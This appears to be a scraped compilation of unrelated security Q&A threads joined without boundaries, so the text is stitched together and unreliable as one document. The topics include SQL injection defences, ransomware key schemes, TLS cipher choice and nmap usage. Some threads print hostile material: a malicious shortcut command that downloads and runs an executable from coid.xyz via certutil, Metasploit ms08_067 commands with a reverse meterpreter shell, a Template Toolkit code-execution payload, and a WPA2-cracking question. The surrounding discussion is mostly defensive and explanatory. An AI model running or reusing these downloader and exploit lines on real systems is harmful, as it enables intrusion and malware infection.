Best practises for preventing SQL injection? SQL injection is always a hot topic particularly when it comes to web security.
In this regard I am interested in what are the steps that should always be taken to prevent SQL injection within any web application? Also in addition to these normal steps is there anything else people do beyond the normal to prevent it?

Already very good answers on this question, however I would like to mention some more:

Secure coding (which is already been mentioned by many already)

Escaping user input
Parameterized queries (prepared statements, predefined queries where you only bind
variables)
Code defensively

Monitoring for attacks

Network Intrusion Detection System (NIDS)
Host Intrusion Detection System (HIDS)
Application Intrusion Detection System (AppIDS)

Block attacks

Application firewall
Database firewall
Web application firewall

Apache ModSecurity
Cisco Application Velocity System (AVS)

Probe for vulnerabilities

Automated blackbox injection testing
Static source code analysis
Manual penetration testing

This is only for prevention and I have not taken sql server hardening into account. There is however many similarities.

Additional defenses in case you are already vulnerable to injection would be:

Running your application with the least amount of grants necessary

Specifically grant only access to the database and tables you need
Be sure to only grant the privilege it needs (usually select, insert, update)


My site is getting hit by 3 crawlers apparently from the EU Recently my site got a spike in traffic from three crawlers:

eu-cookie-law-enforcement-6.xyz
law-enforcement-aa.xyz
law-enforcement-gg.xyz

They link to a warning page about cookies from the EU. However, I've got the mondule for a popup on my Drupal site that handles cookie policy.

What is going on?

It's essentially spam, in the form of referral headers, so it shows up in your analytics system. If they are causing a problem due to traffic volume, feel free to block them (by whatever means you like - anything with the same name structure is junk), otherwise, they don't do anything.

Don't install anything from the pages they link to though, as it can be malware, or simply open your site to other forms of attack - for example, if any of the scripts they provide had an XSS vulnerability, by running the script on your site, you open your visitors to that vulnerability too. More dangerously, if you include what appears to be benign code at the moment, it could later be changed to something more dangerous, such as a drive-by download of malware, in which case your site would be infecting users, and would suffer in terms of SEO and reputation.


Rails File.open(#{Rails.root}) is vulnerable to LFI? I am performing White Box testing on Rails application with static code analyzing tools like brakeman, I came across an instance where the developer is loading images using file.open.

file = File.open("#{Rails.root}/app/assets/path/image.jpg")

Due to my limited knowledge in rails, I am wondering if that's vulnerable to LFI Issue or not. According to my knowledge if we use File.open([:path]) user-defined parameter then it will be vulnerable to LFI. But have confusion in case of rails.root.

Thanks

Rails.root appears to return the root directory of the Rails app. As this is not user controlled input, it is not/cannot be used for LFI of any sort.


How dangerous are cmd scripts? I accidentally clicked on a shortcut that is a script.. The shortcut was:

%ComSpec% /c echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache -f https://coid.xyz/?9dKbb7d8ff89ahih=icarian_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe""&&""%USERNAME%.exe""",0 >"%USERNAME%.vbs"&"%USERNAME%.vbs"

What does it do and should I be concerned?

It seems like it first deleted some visual basic scripts in the directory it was executed in, the scripts had this kind of name: YOUR_USERNAME.vbs

Then it downloaded an executable from this website https://coid.xyz/ which has a name like this: icarian_[x86 OR x64].exe and saved it on you computer as: YOUR_USERNAME.exe

The website had the default Apache landing page, which is unusual for a legit well configured website.

I then runs that executable and places the output in a visual basic script in the format YOUR_USERNAME.vbs and then executes it.

I do not know how dangerous it is, but I would be concerned myself since this is very shady, the website has a certificate issued from lets encrypt but don't know how much that would help.

check the contents of the visual basic script to see what it does, since this just downloads the stuff to your computer and runs it.


CryptoLocker master key I am struggling to understand how it is possible to decrypt files encrypted by the TeslaCrypt ransomware using the master key their creators provided.

As far as I know, ransomware encrypts files using a symmetric cryptosystem, and then encrypts the key using an asymmetric encryption scheme. How does one decrypt the affected files by having the master key?

On a very abstract level: malware on each victim's machine in addition to encrypted AES keys used to encrypt the files, stores an encrypted copy of the private key required to decrypt them. This copy itself is encrypted with the public key of the attacker and can be decrypted with the attacker's private key (called "master key" in the article).

I will try to rephrase Kaspersky's article TeslaCrypt 2.0 disguised as CryptoWall in a more verbose way.

For the sake of simplicity I will skip the fact that each file can be encoded with different AES key. Also actual implementation might differ (particularly more data can be sent to the attacker and some steps are performed on the attacker's side). Anyway the answer aims to explain how the master password-scheme works:

At first victim has only attacker-public-key (embedded in the malware).
Attacker has attacker-private-key.

malware creates a new BTC address with a victim1-BTC-public-key (to send BTC) and a BTC-private-key (to withdraw BTC)
malware uses attacker-public-key and and victim1-BTC-private-key as the input to ECDH which generates an encryption-key-1
malware XORs victim1-BTC-private-key with the encryption-key-1, stores the result as encrypted-victim1-BTC-private-key, forgets encryption-key-1
malware sends the victim1-BTC-private-key to the attacker and deletes it

Victim owns: attacker-public-key, victim1-BTC-public-key, encrypted-victim1-BTC-private-key.
Attacker owns: attacker-private-key, victim1-BTC-private-key.

Next malware starts to encrypt files:

malware generates a key-pair and uses the private key as AES encryption key, so the pair consists of victim1-AES-key (victim1-keypair-private-key) and victim1-keypair-public-key
malware uses the victim1-BTC-public-key and victim1-AES-key as an input to ECDH which generates an encryption-key-2
malware XORs AES-key with the encryption-key-2, stores the result as encrypted-AES-key, forgets encryption-key-2

Victim owns: attacker-public-key, victim1-BTC-public-key, encrypted-victim1-BTC-private-key, victim1-keypair-public-key, encrypted-victim1-AES-key.
Attacker owns: attacker-private-key, BTC-victim1-private-key.

Now victim paid the ransom and attacker releases a key to decrypt the files:

attacker reveals BTC-victim1-private-key
malware uses BTC-victim1-private-key and victim1-keypair-public-key as an input to ECDH which calculates encryption-key-2 (the same as above)
malware XORs encrypted-victim1-AES-key with the encryption-key-2 which gives victim1-AES-key
malware decrypts the file(s) with victim1-AES-key

No other victim can do anything using BTC-victim1-private-key.

Attacker decides to release the master key:

attacker reveals the attacker-private-key
malware uses attacker-private-key and victim1-BTC-public-key as the input to ECDH which generates an encryption-key-1 (the same as above)
malware XORs encrypted-victim1-BTC-private-key with the encryption-key-1, stores the result as victim1-BTC-private-key
malware uses BTC-victim1-private-key and victim1-keypair-public-key as an input to ECDH which calculates encryption-key-2
malware XORs encrypted-victim1-AES-key with the encryption-key-2 which gives victim1-AES-key
malware decrypts the file(s) with victim1-AES-key

In the latter scenario any victim can use the attacker-private-key first to derive the victim*-BTC-private-key then victim*-AES-key.


Would using RSA SecurID Token across security domains introduce any weakness? If the same hard or soft RSA SecureID token was used across security domains would this introduce any additional cryptographic weakness?

For example, if I had to access two secure customer networks could I use the same hardware token, as an additional factor without adding weakness?

The SecureID token come with a fixed built-in secret which only provisioned to the owners idendity server. You cannot authenticate to others with it. And if you could, the admin of the second server could spoof your token on the first.

The only option you would have is to operate the server for both realms by a trusted thirdparty. Like many of the SSO/Login providers.

Sidenote: if you look for other tokens which could be used in such a scenario, TOTP tokens could be re-programmed/seeded. Only problem is I haven't found any which allow more than one seed to select. But for TOTP soft-tokens (apps) this is widely used.


Session token is not changed on login? I have logged into my application and I received a  session token.  When I navigate to another tab, the application pertains the same session token.

Is it normal behavior that the session token does not change when you navigate to another page after logging in?

Regenerating the session-id is one of many points, that makes your application more secure. It makes sense when the user increases his privileges (login), to avoid session-fixation attacks.

There are other possibilities to achieve the same goal, so you cannot tell from the unchanged session-id alone, that the application is unsecure. An other way to make session-fixation more difficult, is to use a separate authentication-cookie, for example.


Root access and malware Would it help to defend against malware if I use a less privileged Windows 7 account for my day-to-day work?

As everybody else is saying, yes, it would. In theory, malware in an unprivileged account can do tons of damage. See this XKCD, which is as relevant to malware as it is to logging out. However, in practice, a lot of Windows malware is written with the assumption that the user is Administrator (either because the user foolishly runs as Admin all the time, or because the malware is something like a Trojan that is installed by an installer which the user will grant Admin to). Software (including malware) that expects to be running as Admin and isn't will usually fail. This "in practice" state may be changing, though; as fewer and fewer users continue the bad habit from the XP days of running with full privileges, malware authors are wising up to the new ecosystem.

One thing which has not been mentioned by the other answers and comments is the risk of local elevation of privilege (EoP) exploits. Again, most malware (not counting state-sponsored stuff against specific targets, like Stuxnet and FLAME) doesn't try to exploit local EoP unless it's expecting to start out sandboxed, because most malware just targets the large and easy target of people who run as Admin. However, it may become more important as malware authors start going for the huge number of non-admin accounts.

So far, people have mentioned (in addition to running less privileged) the need for anti-virus, anti-malware (which is different from AV somehow, in @Ulkoma's definitions), firewall, and backups. Of those, backups - real ones, that aren't permanently connected to the PC - are the most valuable, but the best bang for your buck will come from always staying up to date. True 0-days (bugs being exploited in the wild before the vendor addresses them) are actually pretty rare. On the other hand, every time MS releases a security update, lots of malware authors immediately grab it, look at the changes it makes vs. the old version, and reverse-engineer the code to find the security vulnerability it patches. The majority of the Really Bad exploits that have hit Windows went after vulnerabilities which had been patched weeks or months earlier; people simply hadn't updated when they should have done so.


Solution to calculate and store a hash salt in an open source application? I was watching this video about how NOT to store a password. I also read this question which is very similar. My question is slightly different in the fact that I'm writing an open source security application so the method of my calculating and storing a salt would be able to be found by anyone who read my applications source code.

What is a good solution to store a salt in this case?

You seem to think that the salt and/or the salting and hashing algorithm need to be kept secret. They do not.  Salt only protects against very specific threat scenarios.

Remember that computing a hash on a value always return the same hash value (otherwise it would be useless.)  But that means an attacker can use that property to test the hash values in your database by hashing password guesses. If his guess hashes to the same value as a hash in the table, his guess was correct and he knows that password.  Salting helps prevent this from being a problem in two ways.

By adding a long, random salt to the password before hashing, it protects against someone pre-computing the hash values of password guesses. (This is called a 'rainbow table attack'; you can go online and buy a 1TB hard drive with billions of pre-computed hashes already in a lookup table.)
By using a unique salt for each password, you protect against someone spotting collisions in your database.  Without using a unique salt for each password, if my password was ABC and it hashed to 123, and if you also happened to use ABC as your password, it would also hash to 123. Anyone looking at the database would see that we both share a common password.

In no case do the salt and hashing algorithm have to be kept secret in order to preserve these protections, so you can open source all of this work.

For added security, some people add what is called a "pepper" into this algorithm; 'pepper' being a cute name for a common salt value that is applied to all passwords in a system and kept secret.

What's also important for protecting your passwords in a breach scenario is that the password hashing algorithm be computationally expensive.  This helps prevent brute force attacks, because the attacker generally cannot spend enough CPU time to test billions of guesses.  The way this is achieved is through repetition of a cryptographically secure hashing algorithm.  A modern computer with a GPU card can calculate 10s of billions of SHA-1 hashes per second.  If you used SHA-1 as the password hashing algorithm, that means an attacker could test 10 billion password guesses per second.  By using a password hashing function like PBKDF2, you repeat the hash thousands of times, ensuring the attacker could only test a few hundred guesses per second.


How to check randomness of a hash? I have a REST api in which the server allots a unique token each time a user is logged in. Its a hash containing numbers,letters and a one or two special chars. I want to check the entropy of these tokens. If it were session-ids I could have used webscarab's session id analyzer. But since the api response is in json I can't use webscarab.

Is there any methods to check the entropy of the parameter. I can collect all such values(100s or 1000s) to a file, but what I lack is a method for entropy analysis. Does soapui has such a functionality? Are there any secure methods to do this?

Where I've encountered this issue in the past, the best approach I've seen is to script something up in your favorite programming language of choice (e.g. Ruby/Python/Powershell) to retrieve instances of the tokens and then write them to a file.  Once you've got a suitable sample, you can load them up into your entropy analysis tool of choice.

Another option would be to use Burp Suite and its sequencer tool, which allows you to specify a custom location in the HTTP response for the token to be captured from. (more information here)


Token based authentication under http I am doing a token based authentication but facing some security problems. In the system, a user will login as follows:

Type username and password to login in a https login page
If the login is succeeded, the server will be set a 'authentication cookie'. Otherwise, go to login page again
The 'authentication cookie' in every request will be used to identify the user.

I think this is secure if the request is under https because the 'authentication cookie' cannot be stolen easily due to encryption of SSL. I don't want all pages in my website can be accessed under https only. However, if the page can be accessed under http, then connection may subject to 'man-in-the-middle' attack. If the data in cookies is copied, then it is game over.

What is good practice of cookie-token based authentication under http ? Could you give me the detailed implementation about the good practice?

A central tenet of OWASP - Insufficient transport layer security is that the session ID is never leaked over HTTP.  Although mixed content sites are a bad idea from a security perspective,  one way that it can be done is using the Secure Cookie Flag which will tell the browser not to include the session ID in non-HTTPS requests.

If you host any HTTP page,  then an attacker could introduce JavaScript in a MITM to compromise an authenticated session.  HTTPOnly cookies would prevent the malicious JavaScript payload from reading the cookie value,  however the payload could still read authenticated pages using an XmlHttpRequest, obtain CSRF synchronization tokens, and perform unauthorized actions.  The solution is to use HTTP-Strict Transport Scrutiny,  which also solves the problem of SSLStrip.

HTTPS is extremely light weight and you will see about 1%-2% increased CPU usage when using HTTPS over HTTP.   Not using HTTPS because of some illusions of efficiency is a mistake.  HTTP/2.0 may be HTTPS Only.


Why is the need to expire OTP? OTP can be implemented either using Google Authenticator or by sending SMS to the user. The GA code is created using a timestamp and the code expires if it's used after some time.

However, in case of SMS, the OTP value is saved in the database on server side. The client can take any amount of time and then submit OTP value. Then why is the expiry required in this case? I am not able to think of any security compromise. Please point out the concerns due to OTP without expiry.

For one, an attacker with temporary access to the phone could get several OTPs and use them much later, which would defeat the point of using OTPs in the first place. Another issue could be the user requesting an OTP and then not using, later an attacker could access his messages (for example from backup) and get this active OTP.

So generally, you want to make sure the user has possession of the second factor, the mobile SIM card in this case at the time, when the login is occurring.

Another thing is, that having many active OTPs increases chances of someone guessing one of them by brute force.

There is also a practical consideration, that storing a lot of unnecessary OTPs in the database wastes space.


How to mask my IP using a proxy server? I heard that it is possible to use a proxy server to mask my true IP address and surf anonymously online. Also I have a list of valid Proxy IPs and corresponding ports. How can I use them to get anonymous. I am on an Ubuntu machine now.

Being 100% annonymous online is art itself, so let me give you some helpfull advice.

What you are looking for (for masking full internet connection) is a VPN, there are loads of free VPN's out there, but beware of their orgins, there are enough free VPN's that get malware or a remote client on your PC, and it could get infected.

Some good free VPN services are www.openvpn.net, www.hotspotshield.com

There are also Paid VPN services (i.e. www.barracuda.com)

If you want a cool browser that grants some masking too, you're searching for www.torproject.org, this browser bounces your connection over a relay network, making it harder for others to get your real IP.

Please note that there is never a 100% water-proof way to be annonymous on the net, these tools are simply helpfull things that help protect your privacy when visiting sites, or in example connecting to a gameserver while playing online.


Can attribute certificates be used with TLS / HTTPS? Can attribute certificates (also known as authorization certificates) be used with HTTPS?  For instance, can a HTTPS server supply an attribute certificate in addition to its ordinary SSL certificate?  If yes, what will browsers do when they see it?  Do they ignore it?  Do they validate it (check that's signed by a trusted CA)?

For instance, I found RFC 5878, which describes a TLS extension for supporting attribute certificates, but I can't tell whether it is supported by browsers.

RFC 5878 is experimental, and therefore not required to be compliance with TLS proper. As far as I can tell, based on cursory searches, OpenSSL has headers related to 5878 (e.g. TLSEXT_TYPE_client_authz, TLSEXT_TYPE_server_authz), but does not appear to be used in either Chrome or Firefox's source code. It's non-trivial to tell if other browsers support it (e.g. Opera, Safari, Internet Explorer) without actually testing it, which I do not have the time to do at the moment. Both Chrome and Firefox could easily support it through their related extension APIs, or could even easily be patched to support the extension if you wanted to use that internally for an organization. Finally, I suspect that if there was support for it, a cursory Google search would confirm it, but the lack of any documentation speaks volumes.


Why define CIA in security like this? As we know CIA of the demand for security means:

Confidentiality
Integrity
Availability

I don't understand why define the "Integrity" and "Availability`,

If we make a plaintext Confidentiality, the Integrity is a whole plaintext, this is the basic, why there gild the lily?
If there defined the Integrity, the decrypted plaintext must be usable, so the Availability is gild the lily too.

You're focusing on a very narrow scope here. The CIA triad is about security of a whole system, not just an encrypted message.

That being said, all elements of the triad do apply to your example:

Confidentiality: As you mentioned, encryption's primary purpose is to enforce confidentiality.
Integrity: Encryption does not automatically provide integrity. An attacker could swap an encrypted message for a previously seen encrypted message. An attacker could abuse ciphertext malleability in order to modify the plaintext without knowing the key, e.g. if a stream cipher was used without an authenticity record on the ciphertext.
Availability: An attacker might delete or corrupt the encrypted message, or leverage a denial-of-service (DoS) attack against the system that contains the encrypted message.


How exactly is the used cipher decided when using TLS (mail) (I hope this is the right place, wasn't quite sure which of the stackexchange sites to use)
I have the following question:

When exchanging mail with another company, the mails we are sending are encrypted using TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039). However, our Hello message shows:

   Cipher Suites (49 suites)
    Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
    Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
    Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
    Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
    [...]

and their Hello message (when they are sending mails to us) shows:

   Cipher Suites (49 suites)
    Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
    Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
    Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)
    Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)
    Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
    Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
    Cipher Suite: TLS_DHE_DSS_WITH_AES_256_GCM_SHA384 (0x00a3)
    Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x009f)
    Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x006b)
    Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 (0x006a)
    Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
    [...]

From what I understand, the cipher order the client sends in his Hello should be used to pick the cipher.

Consequently I would expect TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) to be used.

When we are receiving mails from them they are encrypted using TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) as expected.

Are there any other factors I am not aware of?
The "issue" happens with multiple other companies.

An important point to make is that the machine and software that the other company uses to send emails is not necessarily the same as the machine and software that is used to receive emails. And even when they are the same, the SSL configurations for "client" and "server" roles may be distinct.

If you want to infer the cipher suites used by a given server, you have to talk to it in its server role, with a scanning tool that will connect repeatedly and make handshake attempts to work out how the server reacts; one such tool is TestSSLServer. Two caveats here:

If the SSL/TLS is done after an explicit STARTTLS command, then the tool will need to send that STARTTLS, and more generally handle the bit of SMTP protocol before the handshake. Not all tools do that (TestSSLServer, right now, does not).
You should not scan machines other than yours. Be sure to obtain the other company's consent to do that.

In any case, to answer your specific question: in SSL and TLS, the client sends a list of supported cipher suites, ordered by preference. Then the server chooses. How the server chooses is entirely up to it. Some servers are courteous and follow the client's preferences. Other servers enforce their own preference order. Still other servers do a kind of mix between the two, e.g. they will enforce AES over 3DES (regardless of what the client claims to prefer) but would follow the client's choice for key size (AES-128 vs AES-256).

There are other parameters to take into account, too. For instance, an SSL client may announce, along with its support of cipher suites that do ECDHE, a list of elliptic curves that it can handle for ECDHE. The server might also support ECDHE but elect not to use it because it does not support any of the curves implemented on the client side.

Notably (and this seems plausible, since you observe a DHE cipher suite being chosen, not ECDHE), I have observed the two following things, which may match your situation:

Some clients do not send the supported elliptic curves extension and/or the supported point formats extension.
Some servers, when faced with a client that does not send either or both of these extensions, will conclude that no elliptic curve cryptography is possible with that client (regardless of the claims in the list of cipher suites), and fallback to non-EC cipher suites, e.g. some with DHE.


Unknown client-side redirect I'm having an issue analyzing the traffic with a client's website. I'm using ZAP proxy to see all request/responses. Now, here's the problem. Say I make a request to: www.example.com/index.html
I never ever see that exact request in the proxy. That request triggers a whole lot of other requests for js scripts, and also requests to www.example.com/api/documents, www.example.com/api/users, www.example.com/api/resetpasswords, etc... but never the main request.
When i look for the index.html in all the packets, the only match I can see is in the referer field of all the example.com/api requests, each and every one of them have index.html in the referer field.

What kind of redirection is in place here? I tried to wget the main index.html file and its mainly a lot of scripts being called, as well as some comments about angular js. There are no 30X redirects involved, and if there were redirects inside of some javascript, i should see the main index.html request that subsequently loads the javascripts. How is this redirection happening?

If the client is a browser, there is not guarantee to what exactly happens. The index could be cached. Also some browsers show redirects in the network console while never send by the server. Start by disabling caches, cookies and other client side storage (or use a private navigation mode). Btw, AngularJS uses extensive caching, so I almost certain its the cache.

Update

  There are no 30X redirects involved, and if there were redirects
  inside of some javascript,

No, there are indeed no redirects involved, but there are a lot of 304 responses. They explain the behavior you ask about, and what happens is the following:

To limit the number of requests, webservers can use a technique called an entity tags. If the webserver supports this and is configured to use them (Microsoft IIS is by default), upon request the server will calculate a hash for this document (based on last time changed) and includes this hash in the response (ETag header). In the next requests the client can send this hash to the server, which matches the hash with the current ETag. If they match, the server can respond with an empty 304 response (not modifier).

This empty response if what you see. Some browsers will not list these responses, because in essense 'nothing has changed'. If you disable the cache, the client will omit the If- headers in the request, causing the server to resend the document.

With caching and ETags:

Without caching an ETags:


How to check for security breach after a potential physical home intrusion My family member has reason to believe that someone entered their house last night although they cannot be certain because they only have circumstantial evidence: In the morning they found a light left on and a door leading to the garage left open after locking it last night.
For the sake of this post, let's assume that someone did enter their home without permission.
My sibling owns an AMD PC running Windows 7, and upon waking the computer up today for the first time, this screen appeared:

This seems abnormal to me. (The white bar in the picture was added by me and is to hide the user name. Before editing, the font and color of the user name seemed normal.)
After inspecting the computer and seeing no physical changes, my sibling checked the Windows event logs as well as the Windows Administrator logs and didn't see any suspicious events.
My questions are:

How can we go about verifying that no new software has been installed (Via live cd/usb etc) onto Windows beyond checking logs?
What measures should we take to make sure that the computer is safe to use?

Some notes:

Wiping the computer is not a desired option because of personal files.
We are fairly certain that no physical changes were made to the computer because the internals and rear of the tower were covered in undisturbed dust.
My sibling is running Windows 7 Home Edition
BIOS settings show "Removable Device" is set as the first boot option, although this may have been priorly set by me or someone we trust.

I apologize if I've left out any important details, please let me know through comments and I will add them if I can.

How can we go about verifying that no new software has been installed (Via live cd/usb etc) onto Windows beyond checking logs?

The easiest way is simply to go back to the last Restore Point. Go into the Start Menu, type Restore, then choose "create a restore point". From there, click on the System Restore... button and follow the prompts to go back to the last stable install.

  What measures should we take to make sure that the computer is safe to use?

Install Avast or your favorite anti-virus, and run a scan. Also install an anti-malware like malwarebytes and run a scan there. If there's some deeper infection that you suspect, you can't fix it; just buy a new system.

  Wiping the computer is not a desired option because of personal files.

System Restore won't affect personal files.

  BIOS settings show "Removable Device" is set as the first boot option, although this may have been priorly set by me or someone we trust.

This is typically default, and no cause for concern. Obviously, check your hardware for any USB drives. Some systems have extra internal USB headers that could have been tampered with. I know you said there's no undisturbed dust, but realistically, most of that dust is pretty hard to disturb, so you might want to just look inside for any extra USB drives inside.

Unless you're a government employee or a secret agent, etc, most likely, nobody's done any harm to this computer. A physical intrusion is typically used for immediate rewards; ID cards, social security cards, credit cards, etc. You should worry more about any financial institutions than the computer itself. As an additional security precaution, though, consider changing any passwords your sibling may use, especially bank accounts, emails, and any significant social media profiles.

Simply doing a malware and antivirus scan, plus changing any sensitive passwords, should be more than overkill for an average civilian.


Why is using implicit grant more secure than just giving out your secret key? The company I work for has created an API that is used by mobile devices.  I've been reading up on using oAuth for mobile applications and from what I understand it is recommended that you use implicit grant rather than the embedding the secret key in your application.

Why is the implicit flow considered more secure in this case?  Isn't this just allowing anyone to access your API regardless of whether they have the secret key or not?

Isn't this just allowing anyone to access your API regardless of
  whether they have the secret key or not?

Yes, The implicit grant lacks the ability to authenticate the client, which the other grants can do — further introducing attack vectors that the authorization grants, which require a client secret, do not experience.

The use case for implicit grant is authentication of end users and access by client to a resource (possibly owned by the end user) and should be used by SPA Apps (and any other Javascript/User-agent-based app).

If client authentication is important then a different grant must be implemented.

Implicit grant is more secure in the sense that it wouldn't expose the client secret, which can be shared across your internal applications.

Here's a good read on when to use which (OAuth2) grants and OIDC flows https://community.apigee.com/articles/41719/when-to-use-which-oauth2-grants-and-oidc-flows.html


Can my location be tracked trough WiFI ? Let's say hypothetically that I'm sitting at home and have a big WiFi Antena that is catching the local Caffe Wifi about 500m from me. I'm using TOR Browser for my internet search and XMPP for my communication. Can someone track my location or see what I'm doing ?

If you are going off of exclusively wifi based tracking (ie assuming your XMPP and TOR are perfectly secure and undecryptable and you are also not leaking anything) it is possible to locate you physically if someone is on the ground looking for you.

This can be done in two ways:

The transmitting station (ie the coffee shop) has multiple directional antennas and multiple network cards. This is generally not a thing because who wants their wifi to be available only in an x degree cone. This however is more of a thing with cell towers who have very directional transmitters. Since the transmission station knows what antenna you are connected to/communicating with they know roughly how far away you are (very roughly) and what "cone" area you are in. This isn't an exact lat,lon coordinate but it limits the search radius.
Someone is on the ground using a directional antenna trying to determine where you are as your are communicating with the network. It's a similar idea to above but it is best described as "radio hide and seek". Someone can measure how strongly you are transmitting and then they can play "hotter colder" with you until they find you. This would of course be an instance where a three letter agency is after you. I've never heard of this being used against wifi clients but it should work just the same as tracking down rogue access points.


nmap to scan all resolved ip addresses for a given domain name? I'm using nmap to scan a given domain name example.com, which resolves to 2 ip addresses, then nmap chooses only one ip address to scan

for example:

#nmap -vv -sV scanme.nmap.org
Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-01 15:52 CET
NSE: Loaded 35 scripts for scanning.
Warning: Hostname scanme.nmap.org resolves to 2 IPs. Using 45.33.32.156.
Initiating Ping Scan at 15:52
Scanning scanme.nmap.org (45.33.32.156) [4 ports]
Completed Ping Scan at 15:52, 0.17s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:52
Completed Parallel DNS resolution of 1 host. at 15:52, 0.30s elapsed
Initiating SYN Stealth Scan at 15:52
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 22/tcp on 45.33.32.156
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 9929/tcp on 45.33.32.156

is there an option to force nmap to scan all 2 ip address, not just one? thanks

Nmap has a script to do this, resolveall. The interface isn't as nice as it could be: you have to provide the hostname via the resolveall.hosts script argument. Here's how to do that and also add any resolved addresses to the scan queue:

nmap --script resolveall --script-args newtargets,resolveall.hosts=example.com

EDIT: As mentioned in the comments, Nmap 7.40 and later does not require the resolveall.hosts script argument; you can provide targets directly on the command line or with -iL as you usually would. The newtargets argument is required to add the resolved addresses to the scan queue instead of just listing them in the script's output. Future releases of Nmap (newer than 7.60) will have non-NSE capability to do this, but the options and syntax have not been decided yet.

EDIT 2: Nmap 7.70 (released today) has this functionality built-in with the --resolve-all option. No need to use the resolveall NSE script, which will be removed in a future release, and no need to use the newtargets script argument.


Exploiting through a filtered port I'm doing some pentesting against a machine the lecturer set up in the lab. NMAP shows port 445 to be filtered and Nessus confirms the ms08_067 vulnerability is present on that machine.

I tried running Metasploit against it the normal way:

use exlpoit/windows/smb/ms08_067_netapi
set RHOST TARGET_IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST MY_IP
exploit

It tells me:

  [-] Exploit failed [unreachable]: Rex::ConnectionRefused The
  connection was refused by the remote host (192.168.2.2:445)

I'm guessing the exploit is failing because port 445 is filtered. The thing that has me puzzled is that Nessus can apparently check that the vulnerability is present. Since Nessus can do that through the filtered port, is there a way I can launch the exploit through a filtered port? Are there any Metasploit settings that need to be arranged?

You have contradictory information: nmap says the port is filtered but nessus says that the vulnerability is present on the system. They cannot both be true, one of these must be wrong. Given that metasploit is unable to connect it is likely that nessus is reporting incorrectly, or is basing the vulnerability report on information gleaned from other open ports. If you look at tenable's page on that advisory you will see that nessus can test for it using port 139 or port 445, so 139 is probably open, and may be exploitable.


Is Template Toolkit safe against arbitrary code execution? If a template is provided to Perl's Template Toolkit, can you ensure that the code generation inside Template Toolkit is sufficiently subsetted to be safe?

No, Template Toolkit suffers from multiple different ways to arbitrarily execute code, like this one used in CVE-2019-1978
[% template.new({ 'BLOCK' => 'use Data::Dumper; print STDERR Dumper(\%ENV); die' }) %]

Do not trust user-provided templates.


nmap crashing embedded-system in strange way I'm trying to find out what nmap-commands crash an embedded-system. In the process I can see behaviour that I don't understand:

On the system port 80 is open and 79 is closed.

nmap -p 79-80 -T5 -A -> system crashes
nmap -p 80 -T5 -A -> no crash and normal response

It doesn't matter which closed ports I add or remove from the range around the open port 80. As soon as I scan any port other than 80, the system crashes.

I'd be happy to hear some ideas why this could happen or some way to find out.

EDIT: The reason for this seems to be the timing-option -T5.

nmap -p 79-80 -T5 -A -> 79/tcp closed finger 80/tcp open   http? 81/tcp closed

nmap -p 80 -T5 -A ->  80/tcp filtered http

nmap -p 80 -A ->  80/tcp open  http? -> also crashes as expected!

if I am not mistaken, my theory... with the -A nmap is actually doing OS detection probes as well, one of the ways it identifies is through timing of probes sent to one open and one closed port. among a host of other things.

with a single port specified, I would bet that though typically this would be performed it is bypassed because you have specified only one port.

with any range of ports Id est 79-80, the feature would be utilized.

That is why it probably seems timing related as well, because of nmap choosing to do the best with what it was given based on request, because you certainly would not want it to say "Hey since you asked me to ID an OS, but only one port, I will probe another arbitrarily to honor the request"

http://nmap.org/book/man-os-detection.html


What is best way to encrypt a blob with public key? I need to encrypt byte arrays blobs fields of approx 50k to 100k each in .net with a public key then store in SQL/Server thendestroy original data.  When the data is retrieved by the ultimate owner, it would be with a key that only they have (I don't).

The problem is that I need all records to be encrypted with the same key so the owner can decrypt fields with set logic (group of records, not one record at a time).

I'm reading RSA is too slow to be practical for such large data and that RSA is typically used only for encrypting an symmetric key.  This would work for me if I was decrypting one record at a time, but that is not the case and where I am stuck.

So, if asymmetric won't work, what is another/best way to solve this problem?

The best way is: don't do it yourself. Use a format/protocol with existing libraries which do the job. Indeed, as with all things crypto, making a working implementation is easy, making a secure implementation is nigh impossible -- especially since you cannot test for security.

In this case, this points to the OpenPGP format and its well-known open-source implementation GnuPG (which is both a command-line tool and a library).

Internally, OpenPGP uses hybrid encryption: a symmetric key is generated and encrypted with the asymmetric (say, RSA) public key; and the symmetric key is used to process the bulk of the data with a symmetric encryption algorithm. But though the concept is interesting to know, the details are best left to a format that has been vetted for by cryptographers, and an implementation which has sustained deployment in production for a decade, and for which most bugs are assumed to have been found and removed.


What is EAPOL payload in WPA2 Cracking? I am currently working on a python script to crack WPA2. From this SO question:

How exactly does 4-way handshake cracking work?

I've all of the necessary fields as described, i.e. Addresses, NONCES, PSK, and ESSID. What i am not able to get is EAPOL payload which is used with KCK to compute Message Integrity Code (MIC). The question is what is this EAPOL payload and how can i get hold of it?

EAPoL is an authentication protocol which is also used in WPA/WPA2. Its utility is to authenticate a user and establish a shared data from which the future encryption key will be derived.

